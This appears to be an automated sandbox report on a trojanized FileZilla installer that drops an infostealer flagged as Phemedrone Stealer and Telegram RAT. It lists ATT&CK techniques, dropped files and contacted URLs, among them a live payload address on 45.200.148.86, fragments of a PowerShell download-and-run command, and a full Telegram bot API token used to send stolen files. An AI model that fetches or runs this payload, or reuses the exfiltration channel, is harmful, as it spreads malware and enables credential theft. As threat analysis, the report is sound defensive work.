Source: Yara match	File source: 0000000E.00000002.2069931701.0000000004475000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2064893036.00000000033A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Activation.exe PID: 2044, type: MEMORYSTR

Yara detected Phemedrone Stealer

Source: Yara match	File source: 0000000E.00000002.2069931701.00000000044ED000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2064893036.0000000003455000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2064893036.000000000346C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2069931701.0000000004393000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2064893036.000000000347A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2069931701.00000000043F3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2064893036.0000000003392000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2069931701.0000000004475000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2064893036.00000000033A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Activation.exe PID: 2044, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	112 Scripting	Valid Accounts	231 Windows Management Instrumentation	112 Scripting	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	124 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	3 Obfuscated Files or Information	Security Account Manager	851 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	3 PowerShell	Login Hook	Login Hook	22 Software Packing	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	571 Virtualization/Sandbox Evasion	SSH	Keylogging	24 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	12 Masquerading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	571 Virtualization/Sandbox Evasion	DCSync	2 System Owner/User Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
rukT6hBo6P.exe	0%	ReversingLabs

Dropped Files

Source	Detection	Scanner
C:\Program Files (x86)\Fzilla\filezilla.exe (copy)	0%	ReversingLabs
C:\Program Files (x86)\Fzilla\fzputtygen.exe (copy)	0%	ReversingLabs
C:\Program Files (x86)\Fzilla\fzsftp.exe (copy)	0%	ReversingLabs
C:\Program Files (x86)\Fzilla\fzshellext.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Fzilla\fzshellext_64.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Fzilla\fzstorj.exe (copy)	0%	ReversingLabs
C:\Program Files (x86)\Fzilla\is-0BL99.tmp	0%	ReversingLabs
C:\Program Files (x86)\Fzilla\is-0UGH2.tmp	0%	ReversingLabs
C:\Program Files (x86)\Fzilla\is-3N89B.tmp	0%	ReversingLabs
C:\Program Files (x86)\Fzilla\is-3PB36.tmp	0%	ReversingLabs
C:\Program Files (x86)\Fzilla\is-5P94A.tmp	0%	ReversingLabs
C:\Program Files (x86)\Fzilla\is-5SMFM.tmp	0%	ReversingLabs
C:\Program Files (x86)\Fzilla\is-68M3B.tmp	0%	ReversingLabs
C:\Program Files (x86)\Fzilla\is-6EDME.tmp	0%	ReversingLabs
C:\Program Files (x86)\Fzilla\is-6M3HV.tmp	0%	ReversingLabs
C:\Program Files (x86)\Fzilla\is-75899.tmp	0%	ReversingLabs
C:\Program Files (x86)\Fzilla\is-A7Q49.tmp	0%	ReversingLabs
C:\Program Files (x86)\Fzilla\is-BVQAD.tmp	0%	ReversingLabs
C:\Program Files (x86)\Fzilla\is-CBLQR.tmp	0%	ReversingLabs
C:\Program Files (x86)\Fzilla\is-D9L8F.tmp	0%	ReversingLabs
C:\Program Files (x86)\Fzilla\is-ENHKS.tmp	0%	ReversingLabs
C:\Program Files (x86)\Fzilla\is-FUL37.tmp	0%	ReversingLabs
C:\Program Files (x86)\Fzilla\is-G1HOC.tmp	0%	ReversingLabs
C:\Program Files (x86)\Fzilla\is-HOTO1.tmp	0%	ReversingLabs
C:\Program Files (x86)\Fzilla\is-MRNBG.tmp	0%	ReversingLabs
C:\Program Files (x86)\Fzilla\is-OFR6V.tmp	0%	ReversingLabs
C:\Program Files (x86)\Fzilla\is-PM1M7.tmp	0%	ReversingLabs
C:\Program Files (x86)\Fzilla\is-PU0TT.tmp	0%	ReversingLabs
C:\Program Files (x86)\Fzilla\is-QDPQH.tmp	0%	ReversingLabs
C:\Program Files (x86)\Fzilla\is-S855R.tmp	0%	ReversingLabs
C:\Program Files (x86)\Fzilla\is-TST7B.tmp	0%	ReversingLabs
C:\Program Files (x86)\Fzilla\libfilezilla-45.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Fzilla\libfzclient-commonui-private-3-67-1.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Fzilla\libfzclient-private-3-67-1.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Fzilla\libgcc_s_seh-1.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Fzilla\libgmp-10.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Fzilla\libgnutls-30.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Fzilla\libhogweed-6.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Fzilla\libnettle-8.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Fzilla\libpng16-16.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Fzilla\libsqlite3-0.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Fzilla\libstdc++-6.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Fzilla\unins000.exe (copy)	0%	ReversingLabs
C:\Program Files (x86)\Fzilla\uninstall.exe (copy)	0%	ReversingLabs
C:\Program Files (x86)\Fzilla\wxbase32u_gcc_custom.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Fzilla\wxbase32u_xml_gcc_custom.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Fzilla\wxmsw32u_aui_gcc_custom.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Fzilla\wxmsw32u_core_gcc_custom.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Fzilla\wxmsw32u_xrc_gcc_custom.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Fzilla\zlib1.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Activation.exe	42%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-MV7F6.tmp\_isetup\_setup64.tmp	0%	ReversingLabs

Source	Detection	Scanner	Label
http://45.200.148.86/edcf12dd-aAE4d	0%	Avira URL Cloud	safe
https://wiki.filezilla-project.org/Network_ConfigurationIzv	0%	Avira URL Cloud	safe
https://wiki.filezilla-project.org/Network_Configuration&Velg	0%	Avira URL Cloud	safe
http://45.200.148.86/edcf12dd-a	0%	Avira URL Cloud	safe
https://welcome.filezilla-project.org/welcome?type=client&category=support_more&version=3.67.1c	0%	Avira URL Cloud	safe
http://www.transifex.com/zeron/filezilla/language/de/)	0%	Avira URL Cloud	safe
http://barnamenevis.org/forum/showthread.php?t=207094	0%	Avira URL Cloud	safe
https://wiki.filezilla-project.org/Network_Configuration&Vali	0%	Avira URL Cloud	safe
https://wiki.filezilla-project.org/Network_Configuration&Server	0%	Avira URL Cloud	safe
https://wiki.filezilla-project.org/Network_ConfigurationHa&utatu	0%	Avira URL Cloud	safe
https://wiki.filezilla-project.org/Network_ConfigurationPil&ih	0%	Avira URL Cloud	safe
http://45.200.148.86/edcf12dd-a024-4e17-9ac8-333ede06915f.b	0%	Avira URL Cloud	safe
https://crl.filezilla-project.org/crl0	0%	Avira URL Cloud	safe
http://translationproject.org/team/vi.html	0%	Avira URL Cloud	safe
http://www.transifex.com/zeron/filezilla/language/tr_TR/)	0%	Avira URL Cloud	safe
http://45.200.148.86/Activation.exesh	0%	Avira URL Cloud	safe
https://welcome.filezilla-project.org/welcome?type=client&category=%ls&version=3.67.1GKS	0%	Avira URL Cloud	safe
https://wiki.filezilla-project.org/Network_ConfigurationVel&ja	0%	Avira URL Cloud	safe
https://welcome.filezilla-project.org/welcome?type=client&category=%s&version=3.67.1	0%	Avira URL Cloud	safe
http://45.200.148.86/Activation.exe	100%	Avira URL Cloud	malware
http://45.200.148.86/Activation.exe-OutFileActivation.exe;./Activation.exe;exit.G	0%	Avira URL Cloud	safe
https://welcome.filezilla-project.org/welcome?type=client&category=support_forum&version=3.67.1-	0%	Avira URL Cloud	safe
https://api.teleLR	0%	Avira URL Cloud	safe
https://wiki.filezilla-project.org/Network_ConfigurationOdabe&rite	0%	Avira URL Cloud	safe
https://welcome.filezilla-project.org/welcome?type=client&category=support_forum&version=3.67.12.	0%	Avira URL Cloud	safe
https://welcome.filezilla-project.org/welcome?type=client&category=support_more&version=3.67.1	0%	Avira URL Cloud	safe
http://45.200.148.86/Activation.exe-OutFileActivation.exe;./Activation.exe;exitOO	0%	Avira URL Cloud	safe
https://wiki.filezilla-project.org/Date_and_Time_formatting	0%	Avira URL Cloud	safe
https://welcome.filezilla-project.org/welcome?type=client&&category=documentation_network&&version=3	0%	Avira URL Cloud	safe
https://wiki.filezilla-project.org/Network_ConfigurationPasirin&kite	0%	Avira URL Cloud	safe
https://wiki.filezilla-project.org/Network_ConfigurationS	0%	Avira URL Cloud	safe
http://45.200.148.86/Activation.exe-OutFileActivation.exe;./Activation.exe;exit	0%	Avira URL Cloud	safe
http://get.geojs.iod	0%	Avira URL Cloud	safe
https://welcome.filezilla-project.org/welcome?type=client&&category=support_forum&&version=3.67.1	0%	Avira URL Cloud	safe
http://45.20	0%	Avira URL Cloud	safe
https://wiki.filezilla-project.org/Network_ConfigurationFren	0%	Avira URL Cloud	safe
https://wiki.filezilla-project.org/Network_ConfigurationV	0%	Avira URL Cloud	safe
https://welcome.filezilla-project.org/welcome?type=client&category=support_forum&version=3.67.1	0%	Avira URL Cloud	safe
https://ion=v4.5e4	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
update.filezilla-project.org	49.12.121.47	true	false	high
get.geojs.io	172.67.70.233	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
api.telegram.org	149.154.167.220	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.telegram.org/bot7772275304:AAF3OSvWBzn5cIHkGD9ueBFz5ed91u-60-U/sendDocument	false		high
http://45.200.148.86/Activation.exe	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://ip.filezilla-project.org/ip.phpAjavahemik	rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	Activation.exe, 0000000E.00000002.2069931701.0000000004561000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 0000000E.00000002.2069931701.000000000457B000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 0000000E.00000002.2069931701.0000000004595000.00000004.00000800.00020000.00000000.sdmp	false		high
https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU	rukT6hBo6P.exe, 00000000.00000000.1346365309.0000000000EF1000.00000020.00000001.01000000.00000003.sdmp	false		high
https://welcome.filezilla-project.org/welcome?type=client&category=support_more&version=3.67.1c	filezilla.exe, 0000000D.00000002.2598774006.000001CD07D7D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://45.200.148.86/edcf12dd-aAE4d	curl.exe, 00000009.00000002.1638793075.0000000003048000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	Activation.exe, 0000000E.00000002.2069931701.0000000004561000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 0000000E.00000002.2069931701.000000000457B000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 0000000E.00000002.2069931701.0000000004595000.00000004.00000800.00020000.00000000.sdmp	false		high
https://wiki.filezilla-project.org/Network_ConfigurationIzv	rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot	Activation.exe, 0000000E.00000002.2064893036.00000000033A0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ip.filezilla-project.org/ip.phpBa	rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	false		high
https://wiki.filezilla-project.org/Network_Configuration&Vali	rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://wiki.filezilla-project.org/Network_Configuration&Server	rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://barnamenevis.org/forum/showthread.php?t=207094	rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://wiki.filezilla-project.org/Network_Configuration&Velg	rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ip.filezilla-project.org/ip.phpIl	rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	false		high
https://update.filezilla-project.org/update.php	filezilla.exe, 0000000D.00000002.2609337844.00007FF821019000.00000002.00000001.01000000.0000000B.sdmp, filezilla.exe, 0000000D.00000002.2599216002.000001CD07E4A000.00000004.00000020.00020000.00000000.sdmp, filezilla.exe, 0000000D.00000002.2599216002.000001CD07DC8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ip.filezilla-project.org/ip.phpLast	filezilla.exe, 0000000D.00000002.2608778114.00007FF820F54000.00000002.00000001.01000000.0000000C.sdmp	false		high
http://ip.filezilla-project.org/ip.phpAizkavei	rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	false		high
http://45.200.148.86/edcf12dd-a	curl.exe, 00000009.00000002.1638793075.0000000003048000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://wiki.filezilla-project.org/Network_ConfigurationHa&utatu	rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.transifex.com/zeron/filezilla/language/de/)	rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://filezilla-project.org/probe.php-en	rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	false		high
http://get.geojs.io	Activation.exe, 0000000E.00000002.2064893036.0000000003412000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6lB	powershell.exe, 0000000A.00000002.1742906077.0000000004CF1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.remobjects.com/ps	rukT6hBo6P.exe, 00000000.00000003.1350024062.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, rukT6hBo6P.exe, 00000000.00000003.1350421187.000000007ED0B000.00000004.00001000.00020000.00000000.sdmp, rukT6hBo6P.tmp, 00000002.00000000.1352090609.0000000000DB1000.00000020.00000001.01000000.00000004.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 0000000A.00000002.1763292257.0000000005D59000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.innosetup.com/	rukT6hBo6P.exe, 00000000.00000003.1350024062.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, rukT6hBo6P.exe, 00000000.00000003.1350421187.000000007ED0B000.00000004.00001000.00020000.00000000.sdmp, rukT6hBo6P.tmp, 00000002.00000000.1352090609.0000000000DB1000.00000020.00000001.01000000.00000004.sdmp	false		high
https://wiki.filezilla-project.org/Network_ConfigurationPil&ih	rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.transifex.com/zeron/filezilla/language/tr_TR/)	rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://api.telegram.orgd	Activation.exe, 0000000E.00000002.2064893036.00000000033A0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ip.filezilla-project.org/ip.phpKeterlambatan	rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/Bayselonarrend/OpenIntegrations	rukT6hBo6P.tmp, 00000002.00000003.1675879435.0000000002710000.00000004.00001000.00020000.00000000.sdmp	false		high
http://ip.filezilla-project.org/ip.php	filezilla.exe, 0000000D.00000002.2599216002.000001CD07E10000.00000004.00000020.00020000.00000000.sdmp, filezilla.exe, 0000000D.00000000.1667641893.00007FF7B8F67000.00000002.00000001.01000000.0000000A.sdmp, filezilla.exe, 0000000D.00000002.2599216002.000001CD07DC8000.00000004.00000020.00020000.00000000.sdmp, is-E1LTR.tmp.2.dr	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000000A.00000002.1742906077.0000000004CF1000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 0000000E.00000002.2064893036.0000000003331000.00000004.00000800.00020000.00000000.sdmp	false		high
http://translationproject.org/team/vi.html	rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Bayselonarrend/OpenIntegrations1	rukT6hBo6P.tmp, 00000002.00000003.1675879435.0000000002710000.00000004.00001000.00020000.00000000.sdmp	false		high
https://filezilla-project.org/privacy.php	filezilla.exe	false		high
http://ip.filezilla-project.org/ip.phpHuts	rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	false		high
http://ip.filezilla-project.org/ip.phpLe	rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	false		high
http://ip.filezilla-project.org/ip.phpTh	rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	false		high
https://storj.io/signup/?partner=filezilla	filezilla.exe	false		high
http://45.200.148.86/edcf12dd-a024-4e17-9ac8-333ede06915f.b	wscript.exe, wscript.exe, 00000006.00000002.1621908923.0000000003060000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://crl.filezilla-project.org/crl0	filezilla.exe, 0000000D.00000002.2603047070.000001CD0C773000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000A.00000002.1742906077.0000000004E46000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 0000000A.00000002.1742906077.0000000004E46000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000A.00000002.1742906077.0000000004E46000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ip.filezilla-project.org/ip.phpDe	rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 0000000A.00000002.1763292257.0000000005D59000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Activation.exe, 0000000E.00000002.2069931701.0000000004561000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 0000000E.00000002.2069931701.000000000457B000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 0000000E.00000002.2069931701.0000000004595000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ip.filezilla-project.org/ip.phpUAn	filezilla.exe, 0000000D.00000002.2599216002.000001CD07E9A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://welcome.filezilla-project.org/welcome?type=client&category=%ls&version=3.67.1GKS	filezilla.exe, 0000000D.00000002.2599216002.000001CD07E10000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ip.filezilla-project.org/ip.phpDie	rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	false		high
http://45.200.148.86/Activation.exesh	powershell.exe, 0000000A.00000002.1734673970.0000000002EFD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://welcome.filezilla-project.org/welcome?type=client&category=%s&version=3.67.1	filezilla.exe, 0000000D.00000002.2599216002.000001CD07E10000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	Activation.exe, 0000000E.00000002.2069931701.0000000004561000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 0000000E.00000002.2069931701.000000000457B000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 0000000E.00000002.2069931701.0000000004595000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 0000000A.00000002.1742906077.0000000004E46000.00000004.00000800.00020000.00000000.sdmp	false		high
https://wiki.filezilla-project.org/Network_ConfigurationVel&ja	rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://welcome.filezilla-project.org/welcome?type=client&category=support_more&version=3.67.1	filezilla.exe, 0000000D.00000002.2599216002.000001CD07E10000.00000004.00000020.00020000.00000000.sdmp, filezilla.exe, 0000000D.00000002.2604473236.000001CD0D1D0000.00000004.00000020.00020000.00000000.sdmp, filezilla.exe, 0000000D.00000002.2601194762.000001CD0A186000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.haysoft.org%1-k	rukT6hBo6P.exe, 00000000.00000003.1688681315.00000000030CD000.00000004.00001000.00020000.00000000.sdmp, rukT6hBo6P.exe, 00000000.00000003.1348693655.0000000003670000.00000004.00001000.00020000.00000000.sdmp, rukT6hBo6P.tmp, 00000002.00000003.1675879435.0000000002710000.00000004.00001000.00020000.00000000.sdmp, rukT6hBo6P.tmp, 00000002.00000003.1353657698.0000000003600000.00000004.00001000.00020000.00000000.sdmp	false		high
http://45.200.148.86/Activation.exe-OutFileActivation.exe;./Activation.exe;exit.G	powershell.exe, 0000000A.00000002.1735786712.00000000030A0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.teleLR	Activation.exe, 0000000E.00000002.2064893036.00000000033A0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://filezilla-project.org/probe.php	is-E1LTR.tmp.2.dr	false		high
https://welcome.filezilla-project.org/welcome?type=client&category=support_forum&version=3.67.1-	filezilla.exe, 0000000D.00000002.2598774006.000001CD07D7D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.zlib.net/D	filezilla.exe, 0000000D.00000002.2597059856.0000000061597000.00000008.00000001.01000000.00000019.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 0000000A.00000002.1742906077.0000000004E46000.00000004.00000800.00020000.00000000.sdmp	false		high
https://welcome.filezilla-project.org/welcome?type=client&category=support_forum&version=3.67.12.	filezilla.exe, 0000000D.00000002.2599216002.000001CD07E10000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://wiki.filezilla-project.org/Network_ConfigurationOdabe&rite	rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://api.telegram.org	Activation.exe, 0000000E.00000002.2064893036.00000000033A0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://45.200.148.86/Activation.exe-OutFileActivation.exe;./Activation.exe;exitOO	powershell.exe, 0000000A.00000002.1736624575.0000000004910000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://trac.filezilla-project.org/	rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp, is-LPKQQ.tmp.2.dr, is-2NQ4F.tmp.2.dr, is-E1LTR.tmp.2.dr	false		high
https://wiki.filezilla-project.org/Date_and_Time_formatting	filezilla.exe	false	Avira URL Cloud: safe	unknown
https://welcome.filezilla-project.org/welcome?type=client&&category=documentation_network&&version=3	filezilla.exe, 0000000D.00000002.2598774006.000001CD07D7D000.00000004.00000020.00020000.00000000.sdmp, filezilla.exe, 0000000D.00000002.2599753379.000001CD09C00000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://wiki.filezilla-project.org/Network_ConfigurationPasirin&kite	rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://t.me/	Activation.exe, 0000000E.00000002.2069931701.00000000044ED000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 0000000E.00000002.2064893036.0000000003331000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 0000000E.00000002.2064893036.00000000033D4000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 0000000E.00000002.2064893036.00000000033A0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ip.filezilla-project.org/ip.phpEy	rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	false		high
http://ip.filezilla-project.org/ip.phpU	rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	false		high
https://wiki.filezilla-project.org/Network_ConfigurationS	rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.org	Activation.exe, 0000000E.00000002.2064893036.00000000033A0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://welcome.filezilla-project.org/welcome?type=client&&category=support_forum&&version=3.67.1	filezilla.exe, 0000000D.00000002.2603047070.000001CD0C773000.00000004.00000020.00020000.00000000.sdmp, filezilla.exe, 0000000D.00000002.2598774006.000001CD07D7D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://welcome.filezilla-project.org/welcome?type=client&category=support_forum&version=3.67.1	filezilla.exe, 0000000D.00000002.2598774006.000001CD07D7D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://wiki.filezilla-project.org/Network_ConfigurationV	rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
